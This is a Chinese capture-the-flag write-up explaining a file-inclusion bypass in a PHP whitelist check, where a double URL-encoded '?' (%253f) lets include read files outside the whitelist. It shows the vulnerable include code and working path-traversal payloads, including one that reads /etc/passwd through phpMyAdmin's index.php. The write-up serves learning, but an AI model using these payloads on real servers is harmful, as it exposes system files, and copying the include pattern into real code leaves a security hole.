phpmyadmin 远程文件包含漏洞

phpmyadmin 远程文件包含漏洞_第1张图片

 

F12看到这个,查找source.php,发现源码。

"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

         $_page = mb_substr(
           $page,
           0,
         mb_strpos($page . '?', '?')//$_page是取出$page问号前的东西,
      // 然后再判断$_page是否在白名单里,若存在则返回true;
          );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//$_page是取出$page问号前的东西,
               // 然后再判断$_page是否在白名单里,若存在则返回true;
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])  ##不能为空
        && is_string($_REQUEST['file'])  ##是字符串
        && emmm::checkFile($_REQUEST['file'])  ##上面checkfile返回为true
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

发现有个hint.php,先访问了再说

发现有一行内容

flag not here, and flag in ffffllllaaaagggg

发现是一个phpmyadmin远程文件包含漏洞,就是指通过二次编码可绕过过滤。

.将?进行两次URL编码为"%253f",构造下列payload:

http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 

http://xxx:8080/index.php?target=db_sql.php?/../../../../../../../../etc/passwd

checkfile()函数

 

定义了一个白名单:source.php和hint.php,判断$page是否为空、是否为字符串。

in_array(a,b):in_array() 函数搜索数组中是否b中存在a。

判断$page是否在whitelist的白名单里,若存在返回true;

考虑到$page有参数的情况,$_page是取出$page问号前的东西,然后再判断$_page是否在白名单里,若存在则返回true;

如果上一步判断失败,则又考虑了url编码的问题,因为url在传入以后服务器会自动进行一次解码。因此传入二次编码后的内容,就可以使checkfile返回true。

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件

例如传入

?file=hint.php%253f

由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是hint.php%253f../../../../../../../../ffffllllaaaagggg(%3=='?',%25='%'),又一次url解码后变成了hint.php%3f../../../../../../../../ffffllllaaaagggg→hint.php?f../../../../../../../../ffffllllaaaagggg,这次便符合了?前内容在白名单的要求,函数返回true

但在index.php中$_REQUEST['file']仍然是hint.php%253f,而且会被include,通过目录穿越,就可造成任意文件包含。

payload:

下面两个payload都可以,只不过返回true的地方不一样。

file=hint.php?/../../../../../../../../ffffllllaaaagggg 
file=hint.php%253f/../../../../../../../../ffffllllaaaagggg

 

你可能感兴趣的:(web类)